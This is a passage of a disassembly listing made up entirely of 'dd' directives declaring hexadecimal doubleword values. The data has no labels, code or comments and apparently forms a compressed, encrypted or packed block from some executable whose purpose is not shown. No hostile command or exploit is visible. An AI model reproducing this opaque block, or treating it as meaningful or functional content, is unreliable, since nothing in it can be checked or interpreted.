		dd 0E760F0ACh, 877BAB10h, 9FDC8D4Bh, 13A0EB70h,	2F218444h
		dd 1CE237Ch, 0FD8C79F1h, 0EC887A67h, 0B504005Ch, 0B0917454h
		dd 2A0F9819h, 4FD8BCF7h, 0A95D601Ah, 266215D5h,	1190E4D6h
		dd 3A630DE0h, 43EF8F0h,	0F4AE3B94h, 84AA60C8h, 0A5EF1840h
		dd 0AAE2C380h, 64E461D8h, 0AEBE8852h, 3DEA2890h, 0C06D4A8Ch
		dd 970705B9h, 0FA312D09h, 60420C32h, 0B9AE0AEh,	0C01A6380h
		dd 0F637BCE0h, 36FEEBF0h, 82646BB5h, 0C35E2786h, 6812A2C4h
		dd 2821DC44h, 5ECEF26Ch, 0C96E44E8h, 6003D5CCh,	23C5693h
		dd 66E85850h, 2DF164D8h, 18FBF777h, 2A5F9702h, 6C540BE3h
		dd 0D8229900h, 48B0DC4Ch, 0B4C2F87Eh, 1DC0174Ah, 90001CADh
		dd 9A78FAB9h, 0C0C76DABh, 47AFC581h, 8171D5C8h,	421C4470h
		dd 0DFC4588Ah, 883B191h, 350BA4A3h, 0E24F0CFCh,	0FCA18F93h
		dd 0B1B89820h, 0E960F816h, 0FE301781h, 0DBA40098h, 0E4A60849h
		dd 0C20092D9h, 93753A56h, 9D7053EDh, 0BD8E1400h, 9B16C04Dh
		dd 8CACAD0Fh, 9EFD0296h, 0A4576CD0h, 0E949E6C4h, 9FF08872h
		dd 6907254h, 8012660Dh,	9823902Ah, 1441A900h, 0FF60E311h
		dd 7C000F7Fh, 0EF445FB7h, 4CCB162h, 0F7BE9867h,	64F340E3h
		dd 0FE31F6h, 0BCC89992h, 0DBF039E4h, 0D23A9438h, 216F27C8h
		dd 0D85C0890h, 0C125478h, 0B354A4C4h, 827E2F01h, 4728793Fh
		dd 6890F5EAh, 0CE209711h, 686E50E7h, 0BEC41343h, 668816Ah
		dd 0EBADC892h, 0F467750Bh, 443C67EFh, 38D96027h, 0FF821C16h
		dd 0A4224B63h, 3AD5A4C2h, 5304F388h, 7C236A90h,	9B01FB77h
		dd 1032C272h, 90349C54h, 884555C7h, 2AB87479h, 0FBBC600Eh
		dd 0C4E0AAD7h, 3781D600h, 27B072D2h, 2CFB7976h,	7D6E3B58h
		dd 52367F7Ch, 9413D865h, 6ECCE442h, 179862B5h, 82241130h
		dd 55A1BD2Fh, 140AB804h, 59332D74h, 6051E98Ch, 0AD18D079h
		dd 3BC94702h, 60D6F3CEh, 803A9020h, 5C000D40h, 0A2EAA760h
		dd 0BC96C3B3h, 2B467C5Ch, 24CCF200h, 0E85DB179h, 8D4F8817h
		dd 0DA4A50A7h, 4495819Ch, 433EC232h, 0D352DB08h, 2DA82AD3h
		dd 49001C04h, 1F67D136h, 2DE9280Bh, 0D4C27555h,	9462185Eh
		dd 0F894663Ch, 0D519C08Ah, 9D65D141h, 8CFB937h,	0BA607489h
		dd 0C10E1065h, 1BC3608h, 0BD54BB6h, 0EAE29103h,	419F24D0h
		dd 0B101BA0h, 64EF081Ah, 0A005060Ch, 92634E2Eh,	23403FBBh
		dd 6521009Ch, 6264A8E0h, 63EC9897h, 3FC02D12h, 6AF7985Ah
		dd 800E58CCh, 47971390h, 60D06494h, 9AA5248h, 0AD050F0Dh
		dd 0B790F479h, 97B54A22h, 809B91A0h, 0F81D4C93h, 6C20BDE8h
		dd 8618E537h, 13B1B3Fh,	898C2B6Fh, 0DC3EEF70h, 605E3CA8h
		dd 9677E444h, 0E5131CB8h, 0B030E620h, 4EAD67DDh, 6A70A18Eh
		dd 2FEE8C84h, 2A2358h, 9E7D2357h, 0FA0705A2h, 6F17FF51h
		dd 9548585Bh, 37FDDCC2h, 100A0420h, 4082AEC4h, 4EE400ABh
		dd 3D5D92C6h, 8CC84A38h, 2CA60091h, 2E798B97h, 88077ACDh
		dd 0DF044915h, 0A59859D9h, 0E0DC4C54h, 78CE2D7Dh, 17AFB859h
		dd 80289134h, 0EAA6B944h, 0A3F33D83h, 21C438Ch,	0C25C9E50h
		dd 0D42C8090h, 1A103E8h, 0E0B99A8Ch, 0D0957506h, 0B0A9F7Dh
		dd 6831840Ah, 46742826h, 0B33EEEh, 0E0FDDE78h, 0CA1CF6h
		dd 0D31EC7FAh, 999E8329h, 0E8C02AEBh, 4ED73915h, 0E7C4B626h
		dd 97396BA0h, 0D10812ABh, 0D374AD55h, 93A8F0B9h, 963D83Eh
		dd 76E45697h, 95D68EC8h, 92E0BC32h, 6CC09CDBh, 75511383h
		dd 545B3Eh, 66745A2Bh, 95871AF8h, 0F4647467h, 0BC336460h
		dd 1471540Fh, 0C190416Bh, 0DC6AD787h, 44388E8h,	0C810CA92h
		dd 52E6C7A0h, 91D05B8Dh, 0DC913712h, 3E7AB8F1h,	0F723B4h
		dd 0FD54EE6Bh, 75027CE2h, 7E93DA8Ah, 40A45E42h,	372C3A63h
		dd 0DBC068B5h, 1E442F22h, 989BAC68h, 467614BCh,	0B75500F0h
		dd 0BFCC41F2h, 1038A088h, 0DE55881Bh, 0C13CED9Fh, 0D936B177h
		dd 0E0C23B4Ah, 0BBA404FDh, 0E95F5002h, 5950520Eh, 800C04Ch
		dd 1461BD90h, 0E02502D0h, 2DBC79B5h, 77C0244Dh,	9D9F4742h
		dd 0DE0DC468h, 2FCA44Ch, 6106D5D8h, 3A0593Ah, 0FB90D920h
		dd 0BC521B98h, 9410B097h, 0FCC49FE7h, 0C5AA9300h, 2BBB8309h
		dd 0AC1E0104h, 0CF3ACA14h, 0E482D09Ch, 65671018h, 1ED99599h
		dd 0D6476302h, 8324E8B7h, 805177B9h, 34CFA8Ch, 0C86FC522h
		dd 2100ECF6h, 0CBF93130h, 0FE655Fh, 950C0AB7h, 4A3D1238h
		dd 63EDEA01h, 0E4397017h, 1C05BC32h, 8EDDB49Ah,	0C0D28868h
		dd 9F6B34BFh, 3DCF7717h, 0A414002h, 0CB1C7468h,	76870835h
		dd 0B2C1D1FCh, 403D8365h, 900CE913h, 5BAC4104h,	8CE2965Ah
		dd 80989AD6h, 13A43FC7h, 7E98097h, 0ABBF34A0h, 3B196360h
		dd 47F7A06h, 0D6219C98h, 0FC25BF5Fh, 73866842h,	0B5E0F00Ch
		dd 6158065h, 746E4AD4h,	0D7CDB501h, 0E067C83Ah,	0B3189A9Ch
		dd 6DA9D46Eh, 0B8E79598h, 9A795A5Ch, 0A2CE94h, 0A19DE68Bh
		dd 2F94BEF1h, 24F15079h, 0B90A5C18h, 0A0C46EEEh, 638ABB80h
		dd 0DEC40h, 0E5A1234Ah,	74CF229Ch, 49705B09h, 8F4882E4h
		dd 0F8307592h, 0E9B293h, 92A2899h, 740818C3h, 90B8145Ah
		dd 7C127D25h, 0CB467694h, 9903AA02h, 3AD57DD2h,	0FCB55708h
		dd 0A8C4CC02h, 571D6273h, 0C0B6F816h, 0A14656h,	0C69A6849h
		dd 272A79A3h, 404643F9h, 5E9601Dh, 0E671D130h, 23BA1239h
		dd 0D2F8BD6Eh, 0DA830B9h, 0A8D7D03h, 0CC563707h, 1F04C2h
		dd 993BCBDFh, 9F1469B5h, 4C867630h, 1B07E806h, 89AFA3C0h
		dd 0D0A3B45Bh, 5B863678h
		dd 0B04F61Eh, 5C8808ACh, 3E94C2CCh, 2CA834D4h, 892B640Eh
		dd 6FBA2440h, 820C34BAh, 0C45ED5CCh, 609C6DE9h,	390AC1E8h
		dd 1AA45200h, 2265D8C4h, 3F1840E0h, 13204497h, 80381ADBh
		dd 0ABA441A8h, 0ECCC3CF7h, 87B8CF2h, 8BE4D23Bh,	0FCB44265h
		dd 0DED180A8h, 378C6A40h, 0D0F1874Ah, 8398DB7Bh, 0F037EBC5h
		dd 164393E2h, 0EC40CD94h, 704427ACh, 0BC5A5458h, 0C73D220Eh
		dd 4A45063Ah, 0E8B9E0BDh, 6F1298ADh, 8F7BAAAh, 3A7CE840h
		dd 5C02D9EEh, 0D1C2369Eh, 74A8BA7Fh, 0F00D428h,	0D4ACE7DCh
		dd 154CC991h, 8492691Eh, 0A1BE6D18h, 0DF00F94Dh, 466A3C2Bh
		dd 95A506E0h, 0A6C384EDh, 99FBF0AEh, 0A8F924ADh, 0BD1108E0h
		dd 9F9294A6h, 9A6A9C39h, 5C9B8020h, 1F7995Fh, 86E9C44Ah
		dd 22FE9C53h, 0C7EA119Ch, 8F38885Bh, 0E7C2B104h, 48E8025Eh
		dd 1661CCA7h, 0E690C402h, 525D1E06h, 4010BF38h,	0FF002ABCh
		dd 9615F2F9h, 241920h, 0C9B694FEh, 986BAD0Ch, 3FA90E0Bh
		dd 0A068D4C4h, 0B2091CECh, 0BC46678Dh, 4C84D30Bh, 74386070h
		dd 35DE2D99h, 7BBB2079h, 8DD5821h, 7925C166h, 27D20314h
		dd 0BD88CC51h, 0AF011841h, 7560AACEh, 282F8179h, 3F8821CCh
		dd 0B72334ACh, 0D0A8B8A0h, 8CCAE8C8h, 0F2A07927h, 60630EB8h
		dd 0BE4038DEh, 56C86C48h, 0CDD08997h, 0C8D6CB2Ch, 0E46427h
		dd 3DD05AE4h, 5185802h,	0E977D47Ah, 0AA15C0Bh, 2A384270h
		dd 4676D8DCh, 78480ECCh, 840AA25Ch, 88DCD635h, 0C3098817h
		dd 25F05E4Ch, 5970FCFBh, 0B85676C6h, 69550B46h,	7474DF8Ah
		dd 0F2426363h, 0D041023Ch, 47408474h, 25B1C5E8h, 0E8790543h
		dd 5060D349h, 68027F3Dh, 11D2E946h, 6482FFC1h, 63550FAAh
		dd 0D747FA38h, 3C003CB7h, 28C98866h, 0F5CD0290h, 0EFE99808h
		dd 422040F8h, 6711C2D6h, 790BDA36h, 60013EFCh, 9C3F9F1Dh
		dd 162EC45Fh, 0E0004DB7h, 824D1A07h, 0D0D6679h,	7132979Ah
		dd 0FA584A41h, 187DBC28h, 811D9F8Ah, 0F207AB38h, 0CA221C29h
		dd 0A9F84DA0h, 3EC01754h, 3F0CAD15h, 8031E09Eh,	0B1FAEEh
		dd 0BE3CBC0Dh, 2C3D847Fh, 1B5D648h, 12A1B54Eh, 689F16h
		dd 28CF3BCh, 7E10928Fh,	8489F6A7h, 19751803h, 0DE8CFAEFh
		dd 0C548BDE0h, 757C7812h, 0C34E7016h, 0CDA0A4E7h, 0CC2541A8h
		dd 6788402Bh, 0A5FE2E12h, 545C2590h, 987000DCh,	0BF567929h
		dd 4216FD8Ch, 0A0BC34D4h, 0C8D8CAD2h, 0E559C2EFh, 5D0480D7h
		dd 0BC2D4842h, 235F8E18h, 8C9FF890h, 9EADC900h,	97769564h
		dd 0B6DC4A79h, 0D10CE004h, 53BA00F9h, 0BF39C92h, 2C691822h
		dd 0C45CA8h, 0D19A08D5h, 1D31E794h, 0DFDAE163h,	0E6A5E0CFh
		dd 56F0546h, 0C82AD012h, 0A040CBCCh, 208B973Bh,	49618C4Fh
		dd 90F701A3h, 6AB84h, 8F826286h, 9350F80Ah, 67E45995h
		dd 0DD0E28BEh, 773E0942h, 781CDC3Dh, 92ADC180h,	5F1424DEh
		dd 710E0F7h, 0EEF86111h, 0BAB56A01h, 805B4583h,	0FE4DBCEh
		dd 205A2C8h, 39F2F04h, 605EA56Ch, 14377D69h, 0A4409F3Dh
		dd 500CF8A5h, 0E1C6D06Ah, 80957400h, 3268F61Fh,	3A620D01h
		dd 7A3B15E6h, 7798125Ch, 3C3460AEh, 653E74D6h, 28B84A5Fh
		dd 0C4AFBDDFh, 600D5801h, 64C16B9Ah, 9B2E217Ah,	0CEE2C178h
		dd 90716992h, 6D945C00h, 0F0509808h, 0A89F27C4h, 7D40846Fh
		dd 0F18AF5A9h, 0D3808C2Eh, 2FC4618Ah, 0C08AB453h, 95A7CBD9h
		dd 9744685Ah, 0C9B43D2Bh, 0CF570580h, 0D9379376h, 4C257500h
		dd 3C8D633Ah, 384A04F5h, 804BF356h, 0DC84D060h,	3B04EC7Bh
		dd 0DAF23994h, 91EA0A07h, 6F97987Fh, 523FA092h,	4171016Ch
		dd 9A2A63A8h, 6C802E9Bh, 21D8365h, 1138BD06h, 6CC6A23Ah
		dd 91E06A00h, 99755BFCh, 9A1B2494h, 0F57E00A0h,	38134AEFh
		dd 0D4EE8F1Ah, 62ECDEF9h, 0A22A8B7h, 10EC44D4h,	4BA34BACh
		dd 10AD4C90h, 0C121609Fh, 6FE664FAh, 23030F7Ah,	525E3597h
		dd 0F9AB80C4h, 0F0FA05EFh, 0AF1843AEh, 4869880Ch, 77990DB7h
		dd 2B88E6C6h, 228F80D2h, 0C8A00B6Eh, 6F6FD75h, 1848E05Ch
		dd 3830DC52h, 78449768h, 897F1845h, 52E7DC98h, 0ED919900h
		dd 3A5E0B09h, 0AAA720B4h, 4294D813h, 254C788Ch,	0A451CB2Bh
		dd 0B1398700h, 3DF2122Fh, 0AC4B7366h, 67178164h, 282FCE32h
		dd 755E2250h, 0F1B2F0E3h, 11CC730h, 96CE41D6h, 0EC4D5B2Fh
		dd 265B280Ah, 0FC7CF088h, 0F3822510h, 54C50E6h,	0C3520E0h
		dd 8923A3DFh, 56279318h, 0D910D9BEh, 0E1918A1h,	8A95B181h
		dd 86C83B62h, 5700EC59h, 0EB194409h, 0E20F4F78h, 43BC00B0h
		dd 7F90CF36h, 99C7463h,	165AD94Ah, 80A48074h, 7D2465Eh
		dd 0CF1C0550h, 7F546240h, 0B87995FAh, 38D15C01h, 10C4212Bh
		dd 0F4D427ABh, 0D6EEE844h, 0BC782960h, 1F153471h, 39907C2h
		dd 0C5B7BBA1h, 0E0949B6h, 0D5B2E039h, 1244CC10h, 63A74100h
		dd 6A678314h, 0D54B0078h, 7A03B29Ch, 542710A8h,	69847824h
		dd 0E87148C6h, 0A318F6D9h, 506A5300h, 3574E247h, 202C4ECEh
		dd 0DBB8D60Ch, 5402C173h, 0EAAC223Bh, 0F2746007h, 9E9765A0h
		dd 683ABA05h, 0E600D323h, 96DE9B4Ah, 0F561662h,	1070BC68h
		dd 0F65ADCD6h, 0C6AD770h, 4F364400h, 0CB9FAE5h,	0C8015498h
		dd 0CCD5CE85h, 9A2E1A5Fh, 0C39C88ECh, 9AAA692Fh, 0FC9812D7h
		dd 0A5AAD8A8h, 88076630h, 3A6A1E42h, 20DA7D39h,	9F063A34h
		dd 15289B01h, 0AA8F99F2h, 0E6049438h, 0E0BB9C41h, 424AE3C4h
		dd 207E64B5h, 7807EEE8h, 916C3A00h, 0D229FF18h,	7EE41E7Ch
		dd 789E583Ch, 6D5BD0F5h, 0ADB494A2h, 1EEB858h, 109C705Bh
		dd 68DEF474h, 8C29ECDCh, 46D97F0Fh, 5219A074h, 2DCC39FFh
		dd 78D1A23Fh, 74317F18h, 1A9B1F99h, 0FC472DC7h,	3762F4C4h
		dd 0F850A7C1h, 0E0097DB3h, 689F83C3h, 0A25BD300h, 6C377DB8h
		dd 0E5C19C01h, 17FD7F8Ch, 3A6AB500h, 80F9433Ch,	0CE1C9086h
		dd 58188071h, 6C0BB20Eh, 0B074E6B8h, 0E2A4C3EBh, 12E30189h
		dd 0C8122EA0h, 0C14EDCE3h, 5DE2394h, 0E79410A8h, 62FC030Eh
		dd 3BF88620h, 377FBA63h, 5750B801h, 0C81B3C72h,	8D90E22Ah
		dd 0C023F13Dh, 0B680A13Fh, 0B72AD52Ch, 1674FD80h, 794ED473h
		dd 68ACF4BDh, 3C8E700h,	0BEC4F25Fh, 66750080h, 0DEF0375Eh
		dd 0CC1741E5h, 90488A73h, 395A8198h, 0F8899282h, 50004236h
		dd 0CDD4D5B3h, 98A29AEh, 3BE35955h, 9491CC74h, 4B757474h
		dd 88D0DA66h, 9AB1C3D3h, 9B94F09Fh, 58B805EEh, 0AB631E2Dh
		dd 471D4h, 0C20DB36Eh, 9CE2E5F0h, 894C52Ch, 0ABF07369h
		dd 38DF5898h, 0DD036471h, 0C8AAA37h, 0B857A0CEh, 0D5390952h
		dd 5CF4386Dh, 0B07B9447h, 77C544Ch, 0BCEDD3F3h,	722A0E8h
		dd 0C6E68D61h, 91C23F18h, 7A90AD1h, 8017D3E7h, 0B357F0E8h
		dd 469F5DAEh, 346A3094h, 7EFE1386h, 3C50E004h, 30F43694h
		dd 0F9E163F6h, 0A3E97C82h, 9823ECF2h, 5E68F25h,	3CC1E418h
		dd 910199DFh, 0B0342FB4h, 0F8098CACh, 0E47C86CDh, 0E4191DF4h
		dd 7EE000E5h, 0ABAC407Fh, 0CD6BA441h, 353C478Ch, 6870BA94h
		dd 62EBCBDFh, 7C4231A2h, 35973CD8h, 80F39174h, 4FA4C3F4h
		dd 888A05E1h, 0FB048053h, 0C9122044h, 0A84B8601h, 97189EEDh
		dd 7078F32Dh, 60017463h, 38476C37h, 8C6FC645h, 0A716C940h
		dd 48E85E52h, 0C8A0CAD3h, 80CFC42Ah, 88077A6h, 3EDBCC01h
		dd 3FE42A5Fh, 0C83C8E6Eh, 94F3C099h, 69CB1A41h,	8F3868F7h
		dd 25957704h, 88E2EC13h
		dd 467CC85Eh, 0AEA402EFh, 0C8F87390h, 4B7664h, 5B6C64A3h
		dd 0F79CDAB9h, 79143612h, 2A23D82Fh, 9AE6FA07h,	5B69BEC0h
		dd 1E661412h, 0B8968460h, 0A68104Ch, 0B8D0E996h, 7A77B0h
		dd 2303B192h, 3875C9D8h, 0B7F1F500h, 784911Dh, 21644E1Eh
		dd 2B32BBB4h, 0EDE220A6h, 2DCC80F5h, 25A72EE1h,	78F60D5Fh
		dd 0AA87EF40h, 43250EFAh, 3260D221h, 96F2EC4Ch,	0B67A8C12h
		dd 1A63F830h, 0A8E09F84h, 56097B75h, 45702A5Ch,	80F1EE78h
		dd 0B78BF60Dh, 9E672797h, 655560E2h, 74BCA4D8h,	79252246h
		dd 2640787Eh, 21D750h, 5790B7A7h, 0E76DA132h, 66AB9E04h
		dd 8CB83604h, 6446EFA4h, 959309Fh, 0E16E8F0Fh, 0D2EC1D57h
		dd 0F511CC1Dh, 96F3A80h, 2601F421h, 8F1061A1h, 0F72BD5A6h
		dd 0E9167808h, 0B0A5300Ah, 8CACEC29h, 80C65C39h, 4392B89Fh
		dd 8914A013h, 0CC61CEA3h, 28247ED5h, 509D5CBDh,	0C950289h
		dd 55381DBCh, 4D5584BAh, 837340A4h, 4E00B1CFh, 7431C19Ah
		dd 9A165F98h, 957098F0h, 6DA51C73h, 10FA4010h, 0F14AA874h
		dd 0BB8020EDh, 0FCD86441h, 31158902h, 554283A4h, 3A071CE4h
		dd 65DE6D94h, 0A8F88454h, 0F05C1725h, 0E4F46569h, 6F49609Ch
		dd 0C26728C4h, 91850054h, 3040F75Dh, 5500C841h,	2BFBD6C7h
		dd 166FDE70h, 42BC35h, 0B79E28CFh, 80BF1193h, 2A6AAF98h
		dd 87710EEBh, 32A10E68h, 2BA3645Ah, 73B63C30h, 0DC064B94h
		dd 54160E44h, 0AC52F858h, 0CA9228BDh, 0C09EC804h, 0C26B7F74h
		dd 3731DD04h, 5CBD13E2h, 0C84CCAD6h, 949AC025h,	3F16A490h
		dd 44B1E3CCh, 7820CD2Bh, 0E31180D8h, 0FB52F6Bh,	9D92ECACh
		dd 74DF4220h, 2B1E8015h, 3FC5D0C9h, 0D4EC579Ch,	2CD23527h
		dd 0D070DB97h, 90B7EB0Dh, 58FC161Ch, 0F9072731h, 0E034E451h
		dd 1775F35Dh, 830C7802h, 565B1E91h, 6B868268h, 0D4D2FA50h
		dd 37BB472Fh, 0AD5C00E0h, 0FED82F9Ah, 0A2053209h, 888257C0h
		dd 0A0D27711h, 7C78E6B5h, 0BFCA2599h, 6D978CEEh, 0C91DC180h
		dd 0AC42C46Ah, 28AD574Ah, 0C814CA92h, 0E52AC0D2h, 8F0F9409h
		dd 0A64A45B3h, 171169Fh, 0F531EC91h, 2AACB1F4h,	0A101F025h
		dd 0DF655AB2h, 4C288C4h, 83E3053Bh, 8854D97Dh, 2CDFCEF8h
		dd 0E8ED1630h, 20F6D67Ch, 0F1B270E1h, 0C8802E2Bh, 211D7D4h
		dd 79103AA5h, 1044621Eh, 7F34909Dh, 0DCF856h, 950F7131h
		dd 0EC69391Dh, 2A1470E4h, 97B04094h, 5780C4ACh,	2706E0CBh
		dd 3A048601h, 789903C2h, 25D384DCh, 707EE5FAh, 8578D414h
		dd 32AB6F97h, 8B557450h, 0DCB85640h, 5F1297F8h,	50B8E27Ah
		dd 0A290BC96h, 745C2BC9h, 9DA81EDCh, 0A63040D1h, 6E2A3C9Ah
		dd 2954E895h, 0A2D43A4Ch, 60993887h, 0DD39D126h, 0FF49F4E3h
		dd 0F8592E25h, 4A977100h, 0A390ECFAh, 25BAF407h, 632031B4h
		dd 660E02Ch, 0EFAB4A01h, 0C9B66ACh, 603EE3CDh, 5E4440B8h
		dd 20B1DC4Ah, 572F70EDh, 0B820ADE4h, 6EBF174Eh,	165B09F4h
		dd 1B45305Eh, 0A071CAC3h, 9044F761h, 0F41220Ch,	453B6D27h
		dd 5A0C1108h, 0B64BA0F3h, 6ED7E008h, 9BD6048Ah,	0BAB74BB2h
		dd 0DC0A8DBh, 5080AC4Ah, 0B81F9F75h, 6C841693h,	0D509FD68h
		dd 0B89457h, 1BE9606h, 9974EAB5h, 0F7CD8606h, 17207764h
		dd 0FC184266h, 5CE35F50h, 10220D04h, 4C34BA34h,	46A850BDh
		dd 5C7E9B27h, 407C6B70h, 0C4B34ADCh, 0CC20FE1Ch, 0ABEF4Eh
		dd 9FCB14D1h, 3C560C89h, 44165B1Fh, 0F017E817h,	7A157092h
		dd 6A5F2724h, 0DCE45Eh,	63D45DB0h, 4098B578h, 0F91A772Fh
		dd 0DE342640h, 0B41A9300h, 0FEA53DCh, 9C1E9AEh,	0B62F2835h
		dd 2AD8F090h, 33791727h, 896000E3h, 439C404Ah, 0DB0408BCh
		dd 0E8FC1812h, 0CA94097Ah, 4C54BE0Dh, 0BD388601h, 0D8707708h
		dd 59AB0205h, 2D442265h, 88AF9F24h, 132E3B64h, 70E01ACh
		dd 2115E56Fh, 83AC4CB9h, 7D515900h, 5BB14134h, 2CD47C50h
		dd 2920A8BEh, 18F0D194h, 0F882614Fh, 0AB17C4h, 1A947C5Bh
		dd 58E88A2Bh, 0F079A471h, 0E03C5D18h, 68A24B23h, 0E85E6503h
		dd 0BCCC4B93h, 0E0EDB4ECh, 0AD05FAA8h, 2156D9AFh, 1EACBCB9h
		dd 80449Dh, 0F401D398h,	0AEE32CEBh, 228CAF48h, 80F8B1D0h
		dd 0DE4FDF54h, 0D800954Dh, 0A679398Dh, 1252409h, 0BA693A3Fh
		dd 3A6A1647h, 0F9DA0C29h, 189AF178h, 20E509BBh,	0E05C3A11h
		dd 5776E642h, 2441658Fh, 69F80399h, 0C04900F0h,	0F02EDE28h
		dd 4067010Dh, 3C0CD63Eh, 0ED142015h, 0C72988h, 7F722484h
		dd 8A4432E1h, 41E5DC00h, 8CD0F450h, 6E8712BCh, 0B818ED6Ah
		dd 9A895A3Fh, 0C0F6C844h, 0F40970BBh, 5A80A300h, 795A531h
		dd 384F049Bh, 0AE1D186Eh, 0B110F08Bh, 901C0297h, 77BA55ADh
		dd 25918097h, 0D36A5783h, 7BA440A0h, 0D6C8B260h, 4E983C12h
		dd 0A0C8A762h, 3F7E4D31h, 5CAD46EEh, 2B094018h,	9FB51012h
		dd 0F2F234E2h, 0D8DC9831h, 95B002FDh, 0FB2A56F7h, 35403456h
		dd 0EDD5DEh, 54C0F515h,	6B64CAAFh, 8E123202h, 0DD72F15Fh
		dd 0CC3FA898h, 0D986F72Dh, 0DCC54984h, 0C76728E4h, 6F966007h
		dd 0CCB00FDFh, 4EF86027h, 0B2100E30h, 7483D979h, 2113FC3Ch
		dd 98F8E290h, 0E04CE64Fh, 25725Dh, 35F0761Ah, 0B6836603h
		dd 44A44697h, 9BE8E598h, 7CBE9778h, 923BA3C0h, 4DEE3BE9h
		dd 50E66780h, 849937DDh, 0BB065Ch, 353BCEA2h, 0F44AF4B7h
		dd 0BC7707Eh, 4BF326D6h, 5108076h, 0E814D24Bh, 0C813CD20h
		dd 0EC304AE2h, 0EACA024Ch, 3838E31Fh, 5B840C24h, 1414916Eh
		dd 4378C462h, 3F72E400h, 310D7409h, 6B1A0040h, 0F62902C0h
		dd 0F701787Eh, 0C14F44DEh, 6C9BD1Ch, 401474CEh,	4B4D1F97h
		dd 53F1E1Dh, 0EF08106Ch, 56650FB2h, 98A9CC0Fh, 0A800B0D7h
		dd 5D82153h, 13E0661Dh,	0B99CC5E5h, 5D302E4h, 0C03B7479h
		dd 136516A0h, 0BE288042h, 10C27857h, 7C245DEEh,	8DC246FBh
		dd 396B0169h, 0E13BB035h, 0AA06DC16h, 24B5CE01h, 0B8C36A36h
		dd 3B942989h, 35600890h, 25441038h, 1350DAEDh, 0AEE9C878h
		dd 2A9CF022h, 7F9205BCh, 8308A076h, 63336A04h, 0CCA8981Ah
		dd 0AEF8B213h, 8F1E830h, 61EC94E1h, 0C8ABC49Ch,	9603D8B9h
		dd 9307EC3Ch, 0D51CEA16h, 6091B883h, 407FBABCh,	0D58DD00h
		dd 785D986Bh, 0F2D04Bh,	149EF03Ch, 5740C1DDh, 0C43C9984h
		dd 8DB54DC8h, 29C1D004h, 2C16AF04h, 0E6E318C8h,	0AEEE0050h
		dd 0B7AC6614h, 0CB000DA5h, 4368D426h, 381C2976h, 6840BE6h
		dd 0AE144442h, 0DA7FDC8Dh, 82DF8B00h, 0E3B70A0h, 68FE0F89h
		dd 127467Ch, 9BEDC27Bh,	5888CCF9h, 0E90533DCh, 0C0ACF7ABh
		dd 0E4B88712h, 24BF86BCh, 6EEE0330h, 0D4590578h, 0AC026F49h
		dd 0D69CC684h, 541A40C4h, 74BBDD38h, 142B06D0h,	1C05EA07h
		dd 0D29A1C09h, 5F10895Dh, 12229814h, 0A499B7ACh, 60FEFAE9h
		dd 9B0AF62h, 0F5E89A57h, 0C060CC13h, 0C7A5F4F2h, 0ABEE48A8h
		dd 0ACC33101h, 0F439E6E2h, 405B43AEh, 6CB82CC4h, 0CB2DE1B8h
		dd 552042EFh, 208F0E5h,	0EF3809B7h, 84F8B4D3h, 727A0057h
		dd 0B12146E0h, 422EE335h, 889C864h, 0F4F16Fh, 8F2B2C9Eh
		dd 1003F81h, 4DB8BCF8h,	580C2F06h, 0C3098BD4h, 0BA5D356Fh
		dd 6024CD2Ch, 0F0970668h, 37C21601h, 0E4A44C10h, 0D96F5084h
		dd 2CCAAE66h, 40741E25h, 6E583823h, 5D3113FEh, 12861740h
		dd 0A270BCF0h, 2C82297Dh, 6757DCC8h, 4E89112Ch,	50E7F4F6h
		dd 3113A98Dh, 5310AA7Bh
		dd 1109FCC0h, 0EC7E0E97h, 0D420E509h, 1000D6BCh, 0BDBF6CC0h
		dd 1663A769h, 0ED37743Ah, 0A8ED9644h, 690489A8h, 98D7F85Ah
		dd 0C0320BDh, 15F3A18Fh, 3E89BBA1h, 342098CDh, 0BC324E40h
		dd 6B3AC82Ch, 25D438F6h, 9C704238h, 0D98851B5h,	4818F7h
		dd 3DC254E9h, 2839D4EFh, 5C87E65Bh, 6C6890ABh, 60FB0040h
		dd 0EAC6D5C7h, 0D000A725h, 64CAAA56h, 5FD36BCFh, 0C9CA013h
		dd 76E4D625h, 8C5CE980h, 0EB1701D4h, 156B8B6Dh,	0DC6030EEh
		dd 187D6588h, 11ECF807h, 0FF02288Fh, 5B5FC019h,	4E334064h
		dd 573E3B49h, 0EACD1E8Bh, 0D702E85Ch, 0DD35E941h, 4B8668B8h
		dd 62FC8023h, 0C5026A0Ch, 0D4465595h, 8F4B04Fh,	44599765h
		dd 0C800DD12h, 4CE92E63h, 836F0A86h, 0E27E34h, 10D25D05h
		dd 0EB002C5Fh, 94292F6Eh, 0C1E6F7E7h, 36038959h, 0BB11F870h
		dd 0CC861F00h, 0DD34F1EBh, 90DA9517h, 90DA9925h, 78AF4h
		dd 5476C421h, 75493546h, 165F6512h, 601DB490h, 0EBA1C389h
		dd 0DDF82871h, 24FE901Ch, 0C0A31F4Bh, 0F454100Eh, 0F068834h
		dd 18D1FE97h, 55446B7h,	0A0806574h, 0EBCC5316h,	3300086Eh
		dd 39C80B45h, 1013977Ch, 60FC3B3Ch, 58C24F8h, 4C4D0451h
		dd 614EDB7h, 0C9B29799h, 86C12C1h, 0B52CA403h, 0B4F0128Bh
		dd 7CE4F7F9h, 4A98AF3Ah, 2287A89Bh, 0FAE99490h,	0DF9A9482h
		dd 4C4F2C89h, 818574Bh,	641209D4h, 4EE283Ah, 0E88F6DB8h
		dd 68FD4A04h, 17129CB8h, 40FF6D8Ch, 0D410DE9Ch,	0F800C1D1h
		dd 0CE91B40Bh, 1AA7877h, 0B03CE918h, 0D242656Ah, 80FF0CEAh
		dd 0CA1CD5C0h, 16140B3Bh, 14590B1Eh, 0EADFA400h, 4FB4D84Dh
		dd 0C950AC93h, 66C046Dh, 0AE2888BBh, 80D7A73Ch,	32BBA568h
		dd 0EDB3C9D9h, 8088DB7Eh, 35B3FB4Fh, 41A9098Fh,	2C4999C6h
		dd 0CB23F3Ah, 25C00379h, 0FFFC8ECBh, 5A2F26B0h,	70726204h
		dd 38EC3AD9h, 0DD14BC4Fh, 0CD375507h, 2ED0DE0h,	71412DF6h
		dd 240088C4h, 8AEC2BCFh, 645FB3h, 753F4656h, 8BE9AD4Ah
		dd 3CFE6F1Ch, 895B6E00h, 0F0F6C1DAh, 0A1C905CAh, 0BB7B1D8Ch
		dd 0C8AA7034h, 1403A4B8h, 0C4FC9E77h, 1530EF88h, 0C380E5h
		dd 0CE474A9Dh, 86AECBA6h, 0B216B8B8h, 0C0F6449Fh, 2F33EDB0h
		dd 991E0709h, 8500D180h, 44C306E9h, 0A49BC59Ch,	70025B2Ch
